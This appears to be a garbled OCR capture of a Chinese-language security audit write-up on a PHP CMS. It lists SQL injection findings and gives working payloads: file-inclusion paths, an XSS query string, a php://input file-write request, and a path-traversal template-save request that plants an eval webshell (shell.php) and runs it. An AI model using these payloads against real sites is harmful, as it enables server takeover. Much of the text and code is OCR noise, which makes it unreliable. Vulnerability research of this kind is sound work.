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£ file_exits() MB R LR/ / installlock.php 4, FEN exit B, NMFEEEFE.
ETRMMBIEF R, FTE N index.php

require_once(dirname(__FILE__) . "/core/init.php");
// FBHXSSImE
foreach ($_GET as $k => $v) {
$_GET[$k] = htmlspecialchars($v);
ks
$dbm = new db_mysql(Q);
// TN RIVIE, EEZ[IEsqlATEN
if (isset($_GET['q'1)) {
//BRENT RIS EERIS TS
if (isset($_GET['act']) && $_GET['act'] == 'hot') {
if Cerim($_GET['q']) == "") {
$sql = "SELECT id,q,gnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
$res = $dbm->query($sql);
if (empty($res['error']) && is_array($res['list'])) {
foreach ($res['list'] as $k => $v) {
$res['list']J[$k1["'q'] = helper :: utf8_substr($v['q']l, 0, 20);

ks
echo json_encode($res['list']);
exit;
} else {
dieQ);
ks
ks
ks
// BREEEE
if (strlen($_GET['q']) > 20) {
$_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
ks

if (trim($ GETM'a'D) == '0" || trim($ GETI'a'1N) == '") die("#ZREAREEANO=. EFEFWA . Atk <a href ="' . SITE PA
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TH . "">EFIET</a>");
if (!preg_match("/A[\x{4e00}-\x{9fa5\w {0}]1+$/u", $_GET['q']1)) {
die("#RERDTF ML, BT, FH, NFHTE, BEFEA, mlb<a href ="' . SITE_PATH . '">[EZIET</a>');
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1 SQLIE R del eterp F T ERET| SI24P FHIFISALEATRE  /comment. php $dbm > query update ("UFDATE * . TE_FEEFIX . “comment SET...

2 SQLIFEdel etertp TR R EBE| 21290, AIRTFTISALEARRE  /comment. php $dbm -» query_update (“UFDATE “ . TE_PREFIX . “comment SET. ..

3 SQLIFE el etefp TR LS| 21290, AIRTFTISALEAFRE  /comment. php $rezz = §dbm - query update ("UFDATE * . TE_FREFIX . “com. .. |E
4 SQLIFEdel e ter TR L EI| 2290, AIRTFTISALEATRE  /downloead php $sql = “update * . TB_PREFIX . “cate_relation set id_dewn. ..

5 SQLIEEdel e tefh EFTELEE| 2{R4P, OIHTFEESILEARRE S download p $sql = “update * . TB_PREFIX . “app_list sel app_down= ap. ..

E T T8, RIRETEIEST Tl Findex. php require (dirnane [ FILE ) . $tmp_file);

T RETHH TFIER, ARIFTLIERFEIER fpic php readfile (fimg url);
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index.php?tpl=../../phpinfo

PHP Version 5.4.45 W

System Windows NT PHP-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1)
1586

Build Date Sep 2 2015 23:45:53

Compiler MSVCO (Visual C++ 2008)

Architecture =BG

Configure cscript /nologo configurejs "--enable-snapshot-build” "--disable-izapi® "--enable-

Command debug-pack” "--without-mssgl” "--without-pdo-mssgl” "--without-pi3web® "--with-
pdo-oci=Ch\php-sdiioracle\instantclient10hsdk shared” "--with-oci&=C:\php-
sdkioracle\instantclient10\sdk shared” "--with-oci8-11g=Chphp-
sdloraclelinstantclient11\sdk shared” "--enable-object-out-dir=. fob}/" "--enable-


https://xzfile.aliyuncs.com/media/upload/picture/20211029233730-20b204ca-38ce-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211029233822-3fe77186-38ce-1.png
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T
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PHP Version 5.2.17 W

System Windows NT PHP-PC 6.1 build 7601

Build Date Jan 6 2011 17:26:08

Configure cscript /nologo configurejs “--enable-snapshot-build® *--enable-debug-pack” °--
Command with-snapshot-template=d’\php-sdi\snap_5_2\wecd\x86\template” "--with-php-

build=diphp-sdki\snap_5_2\wct\x86\php_build® *--with-pdo-oci=Diphp-

sdkoracle\instantclientl0\sdk shared” "--with-oci8=D:\php-
sdloracle\instantclientl0\sdk shared” "--without-pidweb”
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/templates/m/inc_head.php?g="><script>alert('xss')</script>
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copy(trim($_GET[url]),$_GET[cms]);
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Request

ZCO Raw Hex \n =

Host: 127.0.0.1
Upgrade—Insecure—Requests:

S TR

@ -1 G e

w

Connection: close

s

Content—Length: 18

3

13 <7php phpinfo();?>

POST /app/templates/m/content_list. php?session=kejishidaifurl=php://inputkcms=test. pl

User—Agent: Mozilla/5.0 (Windows HT 6.1; WinG4; x64) AppleWebKit/537.36 (KHTML, like
Accept: text/html, application/xhtmltxnl, application/xml;q=0.9, image/avif, image /webp, :
Accept—Encoding: gzip., deflate

Accept-Language: zh—CN, zh;g=0.9

Cookie: PHPSESSID=89cS1cfafd0bf423adabe0f2cTh3053b; bdshare firstime=1835479794731

Response

G0 Raw Hex Render \n =

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 05:03:28 GNT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
X-Powered-By: PHP/5.2.17

Content-Length: 0

Connection: close

Content-Type: text/html

1

e

W00 -1 @ oen

Content—Type: application/x—wwwform—urlencoded
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BEf=1hI0) test.php

System

Windows NT PHP-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1)
586

Build Date

Sep 2 2015 23:45:53

Compiler

MEVCY (Visual C++ 2008)

Architecture

=86
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Configure cscript /nologo configure.s "--enable-snapshot-build” "--disable-isapi” "--enable-

Command debug-pack” "--without-mssgl" "--without-pdo-mssgl” "--without-pidweb® "--with-
pdo-oci=Chphp-sdk\oracle\instantclientl0ysdk shared” "--with-oci8=C:\php-
sdioraclelinstantclient1l0hsdk shared” "--with-ociB-11g=Ci\php-
sdioraclelinstantclientlllsdk shared” "--enable-object-out-dir=../obj/" "--enakle-
com-dotnet=shared" "--with-mcrypt=static” "--disable-static-analyze” "--with-pgo”
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:: get_contents(
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£ 43 17{EMH call_user_func EFHEEZEL, 1M $page['get'1['m'] RUEELN CET HIUEN, HIAUEN m=show B, EIF]II
F m__show PRZL,

EYEETANS
Zallbtms, PIEIE payload 21T

/adm/template.php?m=show&filename=../../index.php

localhost.com

ERATREARNSEERR

R FAREID » EHREIE ». /. /index.ohp

16] * @param % == %id RIFRid . Eiflid . F8id  EiAE="

17| * @param $ == $p e LA FiE=1

18] * @param % == $tpl  BiE EilE="index’

19] * @param % == $ncate SEITZELEE [(NoENH)

20) * @param % == %con HE [HEA. HRHEE]

21} * @param $ == thid SEILEEF [(ERRHEREFN]

22| * @param $ == $history SgifEREFEE [(MiEHEESN]

23] * @param $ == $topid [WEEEID [(EEA. HRAREREE. FRA]
241

25
26) if (is_dir("install”) 88 lfile_ewists("installfinstalllock.php)) {
27 header('Location: install):
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28 diel):

2091 }

30) require_once{dirname(__FILE_ ). "fcore/init.php®):
31) // FERKEEER

32| foreach ($_GET as $k == %) {

33 5=GET[$|{] = htmlspecialchars($v);

=
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/adm/template.php

(https://xzfile.aliyuncs.com/media/upload/picture/20211029234714-7cd71320-38c¢f-1.png)
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AT AMIMEE AR php AiRAEN 5.4.45, FA content ZENASMEUTAIANE, BEEN—CIE, M filename S BIE=

iz

/ templates/default / B%, &N/ BHERIRE X

RIS
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Request

(SR

retly EEEUTE Hex \n =

POST /app/adn/template. phpTn=save_edit HITP/1.1
Host: 192.168.52. 149
Upgrade—Insecure—FRequests: 1

| User—fgent: Mozilla/5.0 (Windows NT 8.1; WinS4; x54) AppleWebKit/537.38 (EHTML,

like Gecko) Chrome/93.0.4577.63 Safari/537.36

Accept:

text/html, application/xhtml+eml, application/xnl; q=0.9, image avif, image /webp, image/ a
png, %% q=0, 8, application/signed-exchange ; v=h3; q=0.9

5 Accept—Encoding: gzip, deflate

Accept—Language: zh—CI, zh; q=0.9

2 Cookie: PHPSESSID=889c8lcfafdibG123adabelE2cThi055b; bdshare firstime=1635479794731
2 Commection: close

10
11

13

Content-Type: application/z—www—formurlencoded
Content-Length: 59

filename=.. /.. /shell. phpkcontent=<7php ewal($ POST['a’]1) ;%>

Response

il Raw Hex Render Y =

(e I e

HTTF/1.1 200 OK
Date: Fri, 29 Oct 2021 05:05:30 GNMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.

| ¥—Powered-By: PHP/5.4.45

Expires: Thu, 19 Nov 1981 02:52:00 GMT

& Cache—Contrel: no—store, no—cache, must-re

Pragma: no—cache

5 Varv: Accept~Encoding

10
11

13

2 Content-Length: 55

Comnnection: close
Content-Type: text/html; charset=utf-8

<script>
window. location. href="template. php " ;
<fzcript>
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1515 shell.php

4

[w ﬂ | Elements  Console  Sources  Metwork  Performance Memory  Application Security Lighthouse

Encryption = Encoding~ SQAL~ XSS+ LFl~ XXE - Other -

i Load URL http:/M127.0.0.1/app/shell. php

g.g Split URL

) Execute

Y Postdata [ Referer [ UserAgent (] Cookies Clear All

a=phpinfo();

(httna. / [voaFila Alivn imnac Aam leandia liiAlanA /nint kA /ONDTINDOND2AQNA OAQITR2AR 2QAF 1 ~n~)
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